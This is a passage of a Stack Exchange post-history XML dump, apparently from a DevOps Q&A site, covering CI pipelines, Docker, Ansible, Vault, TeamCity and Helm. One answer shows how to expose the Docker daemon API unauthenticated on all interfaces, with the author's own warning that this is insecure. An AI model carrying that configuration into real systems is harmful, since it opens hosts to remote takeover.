  <row Id="13942" PostHistoryTypeId="2" PostId="4443" RevisionGUID="338c43ba-b518-4f01-a98c-715a635d6bb0" CreationDate="2018-07-04T16:20:25.520" UserId="9" Text="I have been tasked with rebuilding my DevOps pipeline and I need some help with a few parts.  &#xD;&#xA;&#xD;&#xA;[![Proposed Pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;We will have our code in BitBucket and have something trigger a server to spin up and validate our PR's.  I don't fully understand how to do this at the moment, but its a pretty common pattern so it shouldn't be too bad.  We will run our Unit Tests, do some static code analysis (test coverage, complexity, code quality, etc.).  &#xD;&#xA;&#xD;&#xA;Next we will have a Jenkins job monitoring master.  It will run the unit test suite again (I am thinking that this is necessary because when merging the PR's we could introduce some errors possibly).  Next it will build the bits and push it to an artifact repository.  This will then start the staging test job.  &#xD;&#xA;&#xD;&#xA;The staging test job will pick up the bits built by the previous job, or allow any user to start it with a valid staging artifact. It will deploy it to a staging environment and then Run the automated tests here.  If they pass it will somehow mark this artifact as acceptable.  This is my first big question, is it common to move a compiled artifact between repositories to let the team know when it has passed certain quality thresholds?  &#xD;&#xA;&#xD;&#xA;Next we will have a job that allows anyone to take an artifact that has passed the automated tests and deploy it to some UAT environment where they can do any manual testing or demo's as required.  My big question here is how can we mark this artifact as passed/failed?  &#xD;&#xA;&#xD;&#xA;Finally we have a job that can push an artifact that has passed manual testing out to production.  My thinking is that this would allow us to push anything deemed acceptable to go to the customer, and would give us rollback if we build it correctly.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To summarize my questions:  &#xD;&#xA;&#xD;&#xA;1. How do we mark artifacts that have passed certain stages in the pipeline in an automated fashion?  &#xD;&#xA;2. How do we mark artifacts as passing final stages in a manual way?  &#xD;&#xA;3. Is this missing anything major or have you run in to issues with a similar pattern?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/efYup.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13943" PostHistoryTypeId="1" PostId="4443" RevisionGUID="338c43ba-b518-4f01-a98c-715a635d6bb0" CreationDate="2018-07-04T16:20:25.520" UserId="9" Text="Is artifact promotion in this pipeline correct?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13944" PostHistoryTypeId="3" PostId="4443" RevisionGUID="338c43ba-b518-4f01-a98c-715a635d6bb0" CreationDate="2018-07-04T16:20:25.520" UserId="9" Text="&lt;build-pipeline&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13945" PostHistoryTypeId="50" PostId="4058" RevisionGUID="0a4d7139-1def-4cb8-9dee-3e17ee071644" CreationDate="2018-07-04T18:09:15.207" UserId="-1" />
  <row Id="13946" PostHistoryTypeId="2" PostId="4444" RevisionGUID="a90c9296-675d-4341-ae59-44e788ae6715" CreationDate="2018-07-04T19:52:51.877" UserId="8593" Text="With the help of @Levi (refered to https://stackoverflow.com/questions/32878795/run-command-inside-of-docker-container-using-ansible/41626257#41626257) I managed to find a way to connect straigt into the docker containers using ansibles docker connection driver and the remote API capability of Docker. &#xD;&#xA;&#xD;&#xA;First of all you have to expose the API which is by default not the case. Simply add `-H tcp://0.0.0.0:1337` to the `ExecStart` constant of the systemd script. Then reload the start script and restart the docker service. (Soure: https://www.ivankrizsan.se/2016/05/18/enabling-docker-remote-api-on-ubuntu-16-04/) &#xD;&#xA;&#xD;&#xA;Then you can list the containers in the inventory file like this:&#xD;&#xA;&#xD;&#xA;    [containers]&#xD;&#xA;    container-name ansible_connection=docker ansible_docker_extra_args=&quot;-H tcp://1.2.3.4:1337&quot;&#xD;&#xA;&#xD;&#xA;And execute any playbook like your used to.&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i docker_inventory playbooks/my_playbook.yml&#xD;&#xA;&#xD;&#xA;The upside of this way of implementing it this way is that you can mix up &quot;real&quot; hosts/vms that are maintained through SSH and Docker containers. One negative thing I have to mention is that the docker API is much slower than using SSH as a control tunnel.&#xD;&#xA;&#xD;&#xA;**This setup is of cause horribly insecure and its only purpose is to explain the concept. Before using it in production you should read into the security features and limit access to the daemon as far as possible.**" ContentLicense="CC BY-SA 4.0" />
  <row Id="13947" PostHistoryTypeId="5" PostId="4444" RevisionGUID="329b573c-65cd-43e1-957f-3ff63e122ead" CreationDate="2018-07-04T20:03:05.653" UserId="8593" Comment="added 118 characters in body" Text="With the help of [@Levi][1] (refered to [Stackoverflow][2]) I managed to find a way to connect straigt into the docker containers using ansibles docker connection driver and the remote API capability of Docker. &#xD;&#xA;&#xD;&#xA;First of all you have to expose the API which is by default not the case. Simply add `-H tcp://0.0.0.0:1337` to the `ExecStart` constant of the systemd script. Then reload the start script and restart the docker service. (From [this][3] blogpost) &#xD;&#xA;&#xD;&#xA;Then you can list the containers in the inventory file like this:&#xD;&#xA;&#xD;&#xA;    [containers]&#xD;&#xA;    container-name ansible_connection=docker ansible_docker_extra_args=&quot;-H tcp://1.2.3.4:1337&quot;&#xD;&#xA;&#xD;&#xA;And execute any playbook like your used to.&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i docker_inventory playbooks/my_playbook.yml&#xD;&#xA;&#xD;&#xA;The upside of this way of implementing it this way is that you can mix up &quot;real&quot; hosts/vms that are maintained through SSH and Docker containers. One negative thing I have to mention is that the docker API is much slower than using SSH as a control tunnel.&#xD;&#xA;&#xD;&#xA;**This setup is of cause horribly insecure and its only purpose is to explain the concept. Before using it in production you should read into the security features and limit access to the daemon as far as possible.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/4427/levi&#xD;&#xA;  [2]: https://stackoverflow.com/questions/32878795/run-command-inside-of-docker-container-using-ansible/41626257#41626257&#xD;&#xA;  [3]: https://www.ivankrizsan.se/2016/05/18/enabling-docker-remote-api-on-ubuntu-16-04/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13948" PostHistoryTypeId="4" PostId="4440" RevisionGUID="bca23cd8-caad-4169-8073-c16c09bcde35" CreationDate="2018-07-05T02:18:24.100" UserId="47" Comment="fix typo" Text="Applying ansible playbook to a docker container on a remote host" ContentLicense="CC BY-SA 4.0" />
  <row Id="13952" PostHistoryTypeId="2" PostId="4446" RevisionGUID="8f341440-ab31-490f-bac7-137daf16d34c" CreationDate="2018-07-05T07:11:26.077" UserId="5962" Text="In the .net core 2.1 project, there is a *.csproj file, that contains assembly information:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;        &lt;AssemblyVersion&gt;2019.1.15341.0&lt;/AssemblyVersion&gt;&#xD;&#xA;        &lt;FileVersion&gt;2019.1.15341.0&lt;/FileVersion&gt;&#xD;&#xA;        &lt;Version&gt;2019.1.15341&lt;/Version&gt;&#xD;&#xA;      &lt;/PropertyGroup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;***In Standard .net projects there were Properties/AssemblyInfo.cs which contained the Assembly information, but in the .net core, there is no AssemblyInfo.cs, all Assembly information are in the csproj.*** &#xD;&#xA;&#xD;&#xA;**How can I change the AssemblyVersion, FileVersion in AssemblyInfo Patcher in TeamCity for the .net core projects?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="13953" PostHistoryTypeId="1" PostId="4446" RevisionGUID="8f341440-ab31-490f-bac7-137daf16d34c" CreationDate="2018-07-05T07:11:26.077" UserId="5962" Text="How to patch AssemblyInfo in teamcity for .net core 2.1 projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13954" PostHistoryTypeId="3" PostId="4446" RevisionGUID="8f341440-ab31-490f-bac7-137daf16d34c" CreationDate="2018-07-05T07:11:26.077" UserId="5962" Text="&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13955" PostHistoryTypeId="2" PostId="4447" RevisionGUID="cb4e04de-1e93-45b0-90ab-3cd75a5384eb" CreationDate="2018-07-05T12:09:36.343" UserId="707" Text="Thanks to Docker [multi-stage builds][1], we can compile some artefacts in one environment and put them for execution in other one.&#xD;&#xA;&#xD;&#xA;As result, there are two images, where the final corresponding to the last stage and provided tag gets tagged as defined; there is no tag for intermediate (ones), but they remain there as well.&#xD;&#xA;&#xD;&#xA;Question: is it possible to create a series of tagged images for all defined stages using multi stage build out of one Dockerfile?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/multistage-build/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13956" PostHistoryTypeId="1" PostId="4447" RevisionGUID="cb4e04de-1e93-45b0-90ab-3cd75a5384eb" CreationDate="2018-07-05T12:09:36.343" UserId="707" Text="Docker tags for multi-stage builds for series of Docker images out of one Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="13957" PostHistoryTypeId="3" PostId="4447" RevisionGUID="cb4e04de-1e93-45b0-90ab-3cd75a5384eb" CreationDate="2018-07-05T12:09:36.343" UserId="707" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13958" PostHistoryTypeId="2" PostId="4448" RevisionGUID="87b315b7-9e52-4b7c-8334-8257604d747c" CreationDate="2018-07-05T12:33:44.147" UserId="707" Text="What is exactly the (higher) vulnerability at least theoretically of a container compared to VM? given, all security recommendations are implemented (like, user context is root, no host sensitive volumes are mounted, tuned capabilities..).&#xD;&#xA;&#xD;&#xA;How differently can an exploit compromise a container via network interface other than a VM? Could a &quot;bad&quot; TCP package force Docker daemon to create a container with root rights? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13959" PostHistoryTypeId="1" PostId="4448" RevisionGUID="87b315b7-9e52-4b7c-8334-8257604d747c" CreationDate="2018-07-05T12:33:44.147" UserId="707" Text="Possibility of container breakout compared to VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="13960" PostHistoryTypeId="3" PostId="4448" RevisionGUID="87b315b7-9e52-4b7c-8334-8257604d747c" CreationDate="2018-07-05T12:33:44.147" UserId="707" Text="&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13961" PostHistoryTypeId="50" PostId="3646" RevisionGUID="61d4de72-e405-4e0d-9a96-284d8391999a" CreationDate="2018-07-05T13:16:11.330" UserId="-1" />
  <row Id="13962" PostHistoryTypeId="2" PostId="4449" RevisionGUID="81707c14-68f9-44bc-94b2-a8471a7d9d92" CreationDate="2018-07-05T13:31:42.520" UserId="7730" Text="Containers isolate an application on a shared OS, VM's isolate an OS on shared hardware. With those different levels of abstraction, you have different exploits and protections.&#xD;&#xA;&#xD;&#xA;A successful kernel level exploit on a container will affect the shared kernel, and therefore breakout of the container isolation. Think meltdown and spectre.&#xD;&#xA;&#xD;&#xA;A successful VM driver exploit could break out of the VM to the hypervisor running the VM's. I've heard of exploits on things like the floppy driver in VMs. These are much more rare than kernel exploits, so I'd give the advantage to VM's here.&#xD;&#xA;&#xD;&#xA;It is possible to change the container runtime to spin up containers in small VM's. Projects like Kata Containers are working on this. So you could get the security of VM's while still getting some of the features of containers.&#xD;&#xA;&#xD;&#xA;Containers do have a huge different advantage over VM's. They run in a minimal environment with reduced capabilities, seccomp, and optionally selinux/apparmor configured. You can lock down that environment in ways you couldn't easily lock down a VM, with a read-only filesystem, and not including any of the tools like shells, interpreters, and libraries that an attacker may need to exploit your system to try attacking the kernel or horizontally pivot their attack.&#xD;&#xA;&#xD;&#xA;As a result, there's no clear winner. The best answer is likely a combination of both, running a handful of containers with similar security requirements on their own VM." ContentLicense="CC BY-SA 4.0" />
  <row Id="13963" PostHistoryTypeId="2" PostId="4450" RevisionGUID="6a908d8a-7ea5-46c3-be66-ae57ff35c63d" CreationDate="2018-07-05T13:35:52.593" UserId="7730" Text="You can build and tag any stage of a multi-stage build. Just use the `--target` option to `docker build`. E.g.&#xD;&#xA;&#xD;&#xA;    docker build --target jdk -t myapp-jdk:v1 .&#xD;&#xA;    docker build --target jre -t myapp:v1 .&#xD;&#xA;&#xD;&#xA;With the layer caching, the the earlier steps will be reused from the cache and not rerun from scratch each time, so there's little downside to running the build to different targets multiple times.&#xD;&#xA;&#xD;&#xA;If you absolutely need to run this from a single build command, you can parse the output of the build, get the image id of the intermediate step, and tag that image id:&#xD;&#xA;&#xD;&#xA;    docker tag &lt;some_image_id&gt; myapp-jdk:v1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13964" PostHistoryTypeId="4" PostId="4448" RevisionGUID="76882a7b-52c5-43b6-969e-ac71b3a23a15" CreationDate="2018-07-05T13:44:30.493" UserId="707" Comment="edited tags; edited title" Text="Possibility of container breakout compared to VM (virtual machines)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13965" PostHistoryTypeId="6" PostId="4448" RevisionGUID="76882a7b-52c5-43b6-969e-ac71b3a23a15" CreationDate="2018-07-05T13:44:30.493" UserId="707" Comment="edited tags; edited title" Text="&lt;security&gt;&lt;devsecops&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13969" PostHistoryTypeId="50" PostId="4222" RevisionGUID="825c343a-2018-47b1-88d5-dfae5830c66a" CreationDate="2018-07-05T16:16:12.583" UserId="-1" />
  <row Id="13970" PostHistoryTypeId="2" PostId="4452" RevisionGUID="42d76b1f-94f6-440e-a408-20c4ff59f556" CreationDate="2018-07-05T17:05:31.343" UserId="8645" Text="Prior to DevOps, an Agile team's definition of &quot;done&quot; typically meant is was &quot;done&quot; for the sprint (and accepted by the product-owner at or before  the end of the sprint). In reality, there might be subsequent levels of testing/delivery/release-engineering before it was actually released &amp; deployed.&#xD;&#xA;&#xD;&#xA;From a DevOps perspective, the common saying is &quot;Done means *deployed*&quot; - the corresponding story or feature wouldn't go to the &quot;done&quot; column of the board until it was deployed to production environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="13971" PostHistoryTypeId="5" PostId="3341" RevisionGUID="2b9e6d2e-bb88-43db-ae16-aba2b3a7d90b" CreationDate="2018-07-05T18:42:09.593" UserId="40" Comment="integrate comment from OPer" Text="I am less familiar with what Azure offers, but other cloud providers offer a way to manage users external to the VMs the provide (normally IAM permissions).&#xD;&#xA;&#xD;&#xA;I would not bake user into the system but look for an external way to manage them. This allows you to more easily remove users that leave your company or add new users that join.&#xD;&#xA;&#xD;&#xA;If Azure doesn't provide a way I would look at setting up Active Directory or LDAP to manage user permissions to hosts. But I would be shocked if you needed to do this.&#xD;&#xA;&#xD;&#xA;**Note**: Don't confuse infrastructure and data. Users are data, not infrastructure. Data (ie adding a user) should be able to change without changing the infrastructure. If you need to remove a user you do not want to rebuild your whole infrastructure." ContentLicense="CC BY-SA 4.0" />
  <row Id="13972" PostHistoryTypeId="2" PostId="4453" RevisionGUID="863aa24a-fc3a-4681-87ee-35c6d2faaeb7" CreationDate="2018-07-05T18:53:23.937" UserDisplayName="user8517" Text="I am trying to set up a Hashicorp Vault server and have ran into some more road blocks. I can not get it so that I can write/read data either locally or through a domain name (I know the risks of have it available to the web and for this/testing it is fine).&#xD;&#xA;&#xD;&#xA;**Error message:**&#xD;&#xA;&#xD;&#xA;    Error writing data to secret/keys: Put http://localhost/v1/secret/keys: net/http: HTTP/1.x transport connection broken: malformed HTTP response &quot;\x15\x03\x01\x00\x02\x02&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Here is my config files:**&#xD;&#xA;&#xD;&#xA;/etc/vault.hcl&#xD;&#xA;&#xD;&#xA;    backend &quot;file&quot; {&#xD;&#xA;            path = &quot;/var/lib/vault&quot;&#xD;&#xA;            address = &quot;127.0.0.1:8200&quot;&#xD;&#xA;            scheme = &quot;http&quot;&#xD;&#xA;            redirect_addr = &quot;http://mydomain.com:8200&quot;&#xD;&#xA;            VAULT_ADDR = &quot;http://mydomain.com:8200&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    listener &quot;tcp&quot; {&#xD;&#xA;            address = &quot;http://mydomain.com&quot;&#xD;&#xA;            tls_disable = 0&#xD;&#xA;            tls_cert_file = &quot;/etc/letsencrypt/live/mydomain/fullchain.pem&quot;&#xD;&#xA;            tls_key_file = &quot;/etc/letsencrypt/live/mydomain/privkey.pem&quot;&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----------&#xD;&#xA;&#xD;&#xA;/etc/systemd/system/vault.service&#xD;&#xA;&#xD;&#xA;    [Unit]&#xD;&#xA;    Description=a tool for managing secrets&#xD;&#xA;    Documentation=https://vaultproject.io/docs/&#xD;&#xA;    After=network.target&#xD;&#xA;    ConditionFileNotEmpty=/etc/vault.hcl&#xD;&#xA;    &#xD;&#xA;    [Service]&#xD;&#xA;    User=vault&#xD;&#xA;    Group=vault&#xD;&#xA;    ExecStart=/usr/local/bin/vault server -config=/etc/vault.hcl&#xD;&#xA;    ExecReload=/usr/local/bin/kill --signal HUP $MAINPID&#xD;&#xA;    CapabilityBoundingSet=CAP_SYSLOG CAP_IPC_LOCK&#xD;&#xA;    Capabilities=CAP_IPC_LOCK+ep&#xD;&#xA;    SecureBits=keep-caps&#xD;&#xA;    NoNewPrivileges=yes&#xD;&#xA;    KillSignal=SIGINT&#xD;&#xA;    &#xD;&#xA;    [Install]&#xD;&#xA;    WantedBy=multi-user.target&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Some other configuration:**&#xD;&#xA;&#xD;&#xA;    VAULT_ADDR=http://mydomain.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Some additional info:&#xD;&#xA;&#xD;&#xA;I used the command `sudo vault operator unseal -tls-skip-verify` because I could not get it to work over HTTPS&#xD;&#xA;&#xD;&#xA;Command I used to configure the server `vault server -config=/etc/vault.hcl`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13973" PostHistoryTypeId="1" PostId="4453" RevisionGUID="863aa24a-fc3a-4681-87ee-35c6d2faaeb7" CreationDate="2018-07-05T18:53:23.937" UserDisplayName="user8517" Text="Hashicorp vault not" ContentLicense="CC BY-SA 4.0" />
  <row Id="13974" PostHistoryTypeId="3" PostId="4453" RevisionGUID="863aa24a-fc3a-4681-87ee-35c6d2faaeb7" CreationDate="2018-07-05T18:53:23.937" UserDisplayName="user8517" Text="&lt;hashicorp-vault&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13975" PostHistoryTypeId="2" PostId="4454" RevisionGUID="f9932402-71b2-4a7c-8515-52deea2673c1" CreationDate="2018-07-05T19:20:15.630" UserId="8649" Text="I have a Python application that I want to containerize with Docker. Should I use `FROM python:3` or `FROM python:3.7`?&#xD;&#xA;&#xD;&#xA;Does the `python:3` tag automatically use the latest minor version of Python? Would there be a practical reason to pin to version 3.7 explicitly?&#xD;&#xA;&#xD;&#xA;I could not find a clear answer to these questions in the [official documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/python/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13976" PostHistoryTypeId="1" PostId="4454" RevisionGUID="f9932402-71b2-4a7c-8515-52deea2673c1" CreationDate="2018-07-05T19:20:15.630" UserId="8649" Text="Dockerfile base image" ContentLicense="CC BY-SA 4.0" />
  <row Id="13977" PostHistoryTypeId="3" PostId="4454" RevisionGUID="f9932402-71b2-4a7c-8515-52deea2673c1" CreationDate="2018-07-05T19:20:15.630" UserId="8649" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13978" PostHistoryTypeId="2" PostId="4455" RevisionGUID="2f40a45e-6119-4f70-8bed-a477c7b5f03c" CreationDate="2018-07-05T20:36:32.057" UserId="8651" Text="I'm curious what everyone recommends.&#xD;&#xA;&#xD;&#xA;Vagrant is for setting up test environments right? &#xD;&#xA;Ansible/Chef etc. seem good for servers you own, but what about cloud?&#xD;&#xA;Docker... great for standardizing app, so why use Ansible/Chef?&#xD;&#xA;Kubernentes.. good for deploying to multiple environments and scaling &#xD;&#xA;&#xD;&#xA;I'm just trying to understand what the need for ansible or chef are? And how about Vagrant? &#xD;&#xA;&#xD;&#xA;Also for the build cycle CI/CD pipeline with Git and artifacts.&#xD;&#xA;&#xD;&#xA;Cloud providers:&#xD;&#xA;&#xD;&#xA;AWS, GoogleCloud, Azure ? Which is best&#xD;&#xA;&#xD;&#xA;Okay sorry to rant. Can anyone recommend the best overall Devops setup.&#xD;&#xA;&#xD;&#xA;Diagram would be best.&#xD;&#xA;&#xD;&#xA;Stack is:&#xD;&#xA;Node, React, MongoDb, Postgres, etc.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13979" PostHistoryTypeId="1" PostId="4455" RevisionGUID="2f40a45e-6119-4f70-8bed-a477c7b5f03c" CreationDate="2018-07-05T20:36:32.057" UserId="8651" Text="What's the best complete DevOps setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13980" PostHistoryTypeId="3" PostId="4455" RevisionGUID="2f40a45e-6119-4f70-8bed-a477c7b5f03c" CreationDate="2018-07-05T20:36:32.057" UserId="8651" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;kubernetes&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13981" PostHistoryTypeId="2" PostId="4456" RevisionGUID="4b77808b-27cc-4c73-b0e5-00a6a118590c" CreationDate="2018-07-05T20:36:58.580" UserId="8652" Text="You have your VAULT_ADDR set to HTTP, but vault is listening on TLS - the error you are receiving is the HTTP request receiving a TLS handshake.&#xD;&#xA;&#xD;&#xA;Try changing VAULT_ADDR to https://mydomain.com." ContentLicense="CC BY-SA 4.0" />
  <row Id="13982" PostHistoryTypeId="50" PostId="3816" RevisionGUID="36d4c2f7-c505-467e-8f33-bb7885e6ad7a" CreationDate="2018-07-05T21:16:13.547" UserId="-1" />
  <row Id="13983" PostHistoryTypeId="2" PostId="4457" RevisionGUID="33aa35d9-19c8-45e7-891a-061d2f29f105" CreationDate="2018-07-05T22:15:24.123" UserId="8653" Text="From the official Docker hub repository at https://hub.docker.com/_/python/.&#xD;&#xA;&#xD;&#xA;&gt; Shared Tags&#xD;&#xA;&#xD;&#xA;&gt; - 3.7.0, 3.7, 3, latest:&#xD;&#xA;     - 3.7.0-stretch (3.7/stretch/Dockerfile)&#xD;&#xA;     - 3.7.0-windowsservercore-ltsc2016 (3.7/windows/windowsservercore-ltsc2016/Dockerfile)&#xD;&#xA;     - 3.7.0-windowsservercore-1709 (3.7/windows/windowsservercore-1709/Dockerfile)&#xD;&#xA;&#xD;&#xA;Based on that, I assume version X will be a tag of latest X.Y.Z." ContentLicense="CC BY-SA 4.0" />
  <row Id="13988" PostHistoryTypeId="5" PostId="4106" RevisionGUID="801a7a7d-b263-48a5-8fc8-7d781bcc2de1" CreationDate="2018-07-06T06:38:07.387" UserId="3427" Comment="hint for the correct answer on stackoverflow" Text="**This Question has been answered on [Stackoverflow][1], the below answer is partly correct but cannot be accepted due to a pending review.**&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I have a Sonarqube instance running as a docker container. Since I updated it to version 7.1 the analysis of my greatest project fails with `GC limit exceeded`. If I restart the server, it might succeed once. After a while of researching this issue, I am tempted to believe, I need to increase the `Xmx` value for the background task.&#xD;&#xA;&#xD;&#xA;Where and how can I configure this parameter?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      postgres:&#xD;&#xA;        image: postgres:9-alpine&#xD;&#xA;        container_name: postgres&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-postgres/etc:/etc/postgresql&#xD;&#xA;          - /opt/docker-postgres/log:/var/log/postgresql&#xD;&#xA;          - /opt/docker-postgres/data:/var/lib/postgresql/data&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_DB: sonar&#xD;&#xA;          POSTGRES_USER: &lt;SONAR_USER&gt;&#xD;&#xA;          POSTGRES_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;&#xD;&#xA;      sonar:&#xD;&#xA;        image: sonarqube:alpine&#xD;&#xA;        container_name: sonar&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;9000:9000&quot;&#xD;&#xA;          - &quot;9092:9092&quot;&#xD;&#xA;        environment:&#xD;&#xA;          SONARQUBE_JDBC_USERNAME: &lt;SONAR_USER&gt;&#xD;&#xA;          SONARQUBE_JDBC_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;          SONARQUBE_JDBC_URL: jdbc:postgresql://postgres/sonar&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-sonar/conf:/opt/sonarqube/conf&#xD;&#xA;          - /opt/docker-sonar/data:/opt/sonarqube/data&#xD;&#xA;          - /opt/docker-sonar/extensions:/opt/sonarqube/extensions&#xD;&#xA;          - /opt/docker-sonar/bundled-plugins:/opt/sonarqube/lib/bundled-plugins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/50366800/1374536" ContentLicense="CC BY-SA 4.0" />
  <row Id="13995" PostHistoryTypeId="2" PostId="4461" RevisionGUID="aeb32219-008e-449a-af11-0ce78965c94c" CreationDate="2018-07-06T08:42:42.747" UserId="8424" Text="getting weird YAML indentation with some conditional stuff. effectively I'm doing:&#xD;&#xA;&#xD;&#xA;            resources:&#xD;&#xA;    {{ toYaml .Values.resources | indent 10 }}&#xD;&#xA;    {{- if .Values.filebeat.enabled -}}&#xD;&#xA;          - name: elastic-logger&#xD;&#xA;&#xD;&#xA;but the final line is indented by 10, not 8 as it should be. in fact I can indent it by 0, 10, 100 - but it's always indented 10. any ideas? (edited)&#xD;&#xA;`.Values.resources` is for one container, and if `filebeat.enabled` then I'm adding another container to the array&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;        resources:&#xD;&#xA;          {}&#xD;&#xA;          - name: elastic-logger" ContentLicense="CC BY-SA 4.0" />
  <row Id="13996" PostHistoryTypeId="1" PostId="4461" RevisionGUID="aeb32219-008e-449a-af11-0ce78965c94c" CreationDate="2018-07-06T08:42:42.747" UserId="8424" Text="Helm / yaml indentation issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="13997" PostHistoryTypeId="3" PostId="4461" RevisionGUID="aeb32219-008e-449a-af11-0ce78965c94c" CreationDate="2018-07-06T08:42:42.747" UserId="8424" Text="&lt;yaml&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14001" PostHistoryTypeId="4" PostId="4453" RevisionGUID="fcb1f629-a643-48d9-a8f2-e3f09875156a" CreationDate="2018-07-06T12:18:39.430" UserDisplayName="user8517" Comment="Changed title" Text="Hashicorp vault not writing out KV" ContentLicense="CC BY-SA 4.0" />
  <row Id="14003" PostHistoryTypeId="12" PostId="4456" RevisionGUID="95a4c17d-271f-4cb6-a6e9-fe4bd5fc5bb5" CreationDate="2018-07-06T12:34:30.587" UserId="13" Comment="Converted to Comment" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14004" PostHistoryTypeId="13" PostId="4456" RevisionGUID="133478b1-fcbf-40e1-ae88-a5f20415fd0f" CreationDate="2018-07-06T12:34:57.387" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14005" PostHistoryTypeId="2" PostId="4463" RevisionGUID="368d77ba-b22e-478f-8806-76d0d5891ab4" CreationDate="2018-07-06T13:56:09.667" UserId="8380" Text="Sadly nobody answered, so I will provide feedback about how i did it so far.&#xD;&#xA;&#xD;&#xA;Graphite was not a good solution for me due to its retention policy. Performance tests sent data to the database every millisecond, and due to retention Graphite did not store all the results but only the last one per the period, meaning if you sent 100 data points in the last minute, the first 99 would be dropped, the 100th one would be stored. This fact was found by me somewhere on some forum. I do not claim I have setup/configured/used graphite correctly, yet the result was several days of debugging a bug which appeared an actual feature, lots of stress and questioning if my head and hands grow out of my shoulders.&#xD;&#xA;&#xD;&#xA;Next option was to use InfluxDB. Sadly didn't work for the following reason:  &#xD;&#xA; - If running InfluxDB in a Linux docker container, I was not able to bind mount it to a specific folder on host's OS outside of docker installation folder.&#xD;&#xA;A solution would be to try and use docker named volume. Maybe that would have worked, but I was short on time and patience.&#xD;&#xA;&#xD;&#xA;The final solution was to use simply a Postgres DB. Created a timetable with all the metrics and a timestamp field. As a result, Locust writes the final session statistics into a CSV file. CSV file is parsed by a python script and parsed data is inserted into the table. Grafana then connects to the DB and quite nicely visualizes the results using a simple query.&#xD;&#xA;&#xD;&#xA;Next possible question would be: &#xD;&#xA;&#xD;&#xA;&gt; how to store the results of every single request to gain better&#xD;&#xA;&gt; precision for the results of my performance tests?&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;My personal suggestion would be to use influxDB with a consistent storage saved in a named volume if you are using Windows host. There the smallest time period can go down to milliseconds and data retrieval was very easily setup by manually writing a simple select query. Yet, please do not take my word for it and try this out, because i haven't done this, so my thoughts are nothing but a theory.&#xD;&#xA;&#xD;&#xA;Happy performance testing." ContentLicense="CC BY-SA 4.0" />
